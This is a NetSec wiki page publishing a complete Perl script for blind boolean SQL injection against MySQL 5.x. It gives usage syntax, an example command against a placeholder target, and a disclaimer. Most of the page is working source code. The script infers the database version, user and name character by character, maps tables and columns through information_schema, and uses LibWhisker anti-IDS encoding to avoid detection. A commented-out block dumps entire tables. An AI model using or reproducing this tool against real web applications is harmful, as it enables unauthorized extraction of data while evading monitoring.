Questions about this topic? Sign up to ask in the talk tab.

SQL injection/mysqli-blindutils/sqli-p.pl

From NetSec
Revision as of 02:27, 20 September 2012 by MinnaBeauvais (Talk | contribs) (fixed http://target.tld to nowiki so it won't display as link)

Jump to: navigation, search
c3el4.png
This script uses blind SQL injection and boolean enumeration to perform MySQL database mapping.

Info

Main article: Web exploitation tools

The syntax of this script is:

 perl mysql5enum.pl -h [hostname] -u [url] [-q [query]]

Example

Example:

 perl mysql5enum.pl -h www.target.tld -u http://www.target.tld/vuln.ext?input=24 -q "select system_user()"

Description

  • By default, this script will first determine username, version and database name before enumerating the information_schema information.
  • When the -q flag is applied, a user can supply any query that returns only a single cell
  • If the exploit or vulnerability requires a single quote, simply tack %27 to the end of the URI.
  • This script contains error detection : It will only work on a mysql 5.x database, and knows when its queries have syntax errors.
  • This script uses perl's LibWhisker2 for IDS Evasion (The same as Nikto).
  • This script uses the MD5 algorithm for optimization. There are other optimization methods, and this may not work on all sites.

Disclaimer

RPU0j.png The end-user is liable for his-or her own actions with the use of this software. Running this against a system you do not own without written authorization is a criminal act.

Source

#!/usr/bin/perl
use strict;
use Getopt::Std;
use Digest::MD5 qw(md5_hex);
use LW2;
 
my %options = ();
getopts("u:h:q:", \%options);
 
my $url     = $options{u};			# Vuln URL
my $host    = $options{h};			# Needs this for libwhisker
						# Format.
my $count   = 0;
 
if (my $q = $options{q}) {
    $q =~ s/\ /%20/g;
    my ($cxr, $result) = runQuery($url,$host,$q);
    print "Query Result:\n\t$result\nCalculated in $cxr requests.\n";
    exit(1);   
}
 
# Get the Database Version
my $query = "SELECT%20VERSION()";
my ($tmp, $version) = runQuery($url, $host, $query);
$count += $tmp;
$count += 2;
print "\nDatabase Version:\t\t$version\nIn $count requests.\n\n";
 
# Get the Database Name
$query = "SELECT%20DATABASE()";
my ($tmp,$answer) = runQuery($url, $host, $query);
print "Database Name:\t\t$answer\nIn $tmp requests.\n\n";
 
# Get the Database Username
$query = "SELECT%20USER()";
my ($tmp,$answer) = runQuery($url, $host, $query);
print "Database User:\t\t$answer\nIn $tmp requests.\n\n";
 
 
if ($version =~ /5\./g)
{
	print "Enumerating Database Spec:\n";
	getSchema($url,$host);
	exit(1);
} else {
	print "This is not MySQL v5.x, so I can't enumerate the schema tables!\n";
	exit(1);
}
 
sub getSchema
{
	my $url       = shift;
	my $host      = shift;
	my $query     = "SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(SELECT DATABASE())";
	$query        =~ s/ /%20/g;
 
	my ($c, $val) = runQuery($url,$host,$query);
	# $val = number of table names in the current database.
	for (my $i=0; $i < int($val); ++$i)
	{
		$query = "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(SELECT DATABASE()) LIMIT $i,1";
		$query =~ s/ /%20/g;
 
		my ($q, $table) = runQuery($url,$host,$query);
		print "$table:\n";
		# $table = table name 
		$query = "SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=";
		$query .= "(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=";
		$query .= "(SELECT DATABASE()) LIMIT $i,1)";
		$query =~ s/ /%20/g;
 
		my ($r, $fcount) = runQuery($url,$host,$query);
		# $fcount - number of columns in the table
		for (my $n = 0; $n < int($fcount); ++$n)
		{
			$query  = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=";
			$query .= "(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=";
			$query .= "(SELECT DATABASE()) LIMIT $i,1) LIMIT $n,1";
			$query =~ s/ /%20/g;
			my ($o, $field) = runQuery($url,$host,$query);
			print "\t$field\n";
 
# Uncomment the lines below to 
# scrape the entire database.
#			$query = "SELECT COUNT($field) FROM $table";
#			$query =~ s/ /%20/g;
#			my ($r, $total) = runQuery($url,$host,$query);
#			for (my $cn = 0; $cn < $total; $cn++)
#			{
#			    $query = "SELECT $field FROM $table LIMIT $cn,1";
#			    $query =~ s/ /%20/g;
#			    my ($e, $data) = runQuery($url,$host,$query);
#			    print "\t\t$data\n";
#			}
		}
	}
}
 
sub runQuery
{
	my $url   = shift;
	my $host  = shift;
	my $query = shift;
 
	my $qCount;
	my $qCH;
 
	my $pos     = 1;
	my $floor   = 0;				# Bottom of ascii keyrange
	my $ceiling = 255;				# Top of ascii keyrange
 
	my $spacer  = "%20OR%20";
	my $truth   = "62=62/*";
	my $lie     = "88=98/*";
 
	my ($true, $false) = makeTrueFalse($url, $spacer, $truth, $lie, $host);
	my $lenUri = "$url" . queryConstruct(0, 0, $spacer, $query);
	my ($qCH, $len) = getValue($lenUri, 64, 0, $true, $false, $host);
	$qCount += $qCH;
	my $results = "";
	while (($pos < $len) || ($pos eq $len))
	{
		my $uri = "$url" . queryConstruct(1, $pos, $spacer, $query);  #construct the actual URI
		my ($qCH, $value) = getValue($uri, $ceiling, $floor, $true, $false, $host);
		$qCount += $qCH;
		my $char = chr("$value");
		$results .= $char;
		++$pos;
	}
	return ($qCount, $results);
}
 
#Logrithm
sub getValue 
{
	my $uri     = shift;
	my $ceiling = shift;
	my $floor   = shift;
	my $true    = shift;
	my $false   = shift;
	my $host    = shift;
 
	my $nextmaybe;
	my $target;
	my $qCount = 0;
 
	my $maybe = int($ceiling/2);    # Get the middle of the total possible range of values
 
	while (not defined $target) {
		if (isGT($uri, $maybe, $host) eq $true)	
		{
			++$qCount;
			$floor = $maybe;
			$nextmaybe = int($maybe + (($ceiling - $floor)/2));
		} elsif (isLT($uri, $maybe, $host) eq $true)
		{
			++$qCount;
			$ceiling = $maybe;
			$nextmaybe = int($maybe - (($ceiling - $floor)/2));
		} elsif (isEQ($uri, $maybe, $host) eq $true)
		{
			++$qCount;
			$target = $maybe;
			return ($qCount, $target);
		}
		$maybe = $nextmaybe;
		if (($maybe eq "") || (!$maybe) || (not defined $maybe))
		{
			print "SQL Error caught!  Aborting!\n";
			print "At least 3 queries in error log!\n";
			exit(1);
		}
	}
}
 
# Is greater than?
sub isGT
{
	my $uri   = shift;
	my $guess = shift;
	my $host  = shift;
	return (md5_hex(download("$uri>$guess)/*", $host)));
}
 
# Is less than?
sub isLT
{
	my $uri   = shift;
	my $guess = shift;
	my $host  = shift;
	return (md5_hex(download("$uri<$guess)/*", $host)));
}
 
# Is equal to?
sub isEQ
{
	my $uri   = shift;
	my $guess = shift;
	my $host  = shift;
	return (md5_hex(download("$uri=$guess)/*", $host)));
}
 
# Ripped off from an older version of the scanner
sub download
{
    my $uri = shift;
    my $try = 5;
    my $host = shift;
    my %request;
    my %response;
    LW2::http_init_request(\%request);
    $request{'whisker'}->{'method'} = "GET";
    $request{'whisker'}->{'host'} = $host;
    $request{'whisker'}->{'uri'} = $uri;
    $request{'whisker'}->{'encode_anti_ids'} = 962;
    $request{'whisker'}->{'user-agent'} = "wget";
    LW2::http_fixup_request(\%request);
    if(LW2::http_do_request(\%request, \%response)) {
        if($try < 5) {
            print "Failed to fetch $uri on try $try. Retrying...\n";
            return undef if(!download($uri, $try++));
        }
        print "Failed to fetch $uri.\n";
        return undef;
    } else {
        return ($response{'whisker'}->{'data'}, $response{'whisker'}->{'data'});
    }
}
 
sub queryConstruct
{
	my $type    = shift;
	my $pos     = shift;
	my $spacer  = shift;
	my $query   = shift;
 
	if ($type eq 0)		# Len
	{
		my $newQuery = "LENGTH(($query))";
		my $padding  = "(";
		my $ender    = "";
		return ("$spacer$padding$newQuery$ender");
	} elsif ($type eq 1) 	# String
	{
		my $padding = "((ASCII((LOWER((MID((";          # Begin query construct
		my $ender   = "),$pos,1))))))";                 # End query Construct
		return ("$spacer$padding$query$ender");  	#construct the actual query
	}
}
 
sub makeTrueFalse
{
	my $url    = shift;
	my $spacer = shift;
	my $truth  = shift;
	my $lie    = shift;
	my $host   = shift;
	my $trueMD = md5_hex(download("$url$spacer$truth", $host));
	my $falsMD = md5_hex(download("$url$spacer$lie", $host));
 
	# returns true, false
	return ($trueMD, $falsMD); 
}
 
We have more tools coming soon! Look forward to Chimera Live CD.
c3el4.png
These are the offensive security tools developed by our wiki staff.
SQL injection/mysqli-blindutils/sqli-p.pl is part of a series on exploitation.
<center>
</center>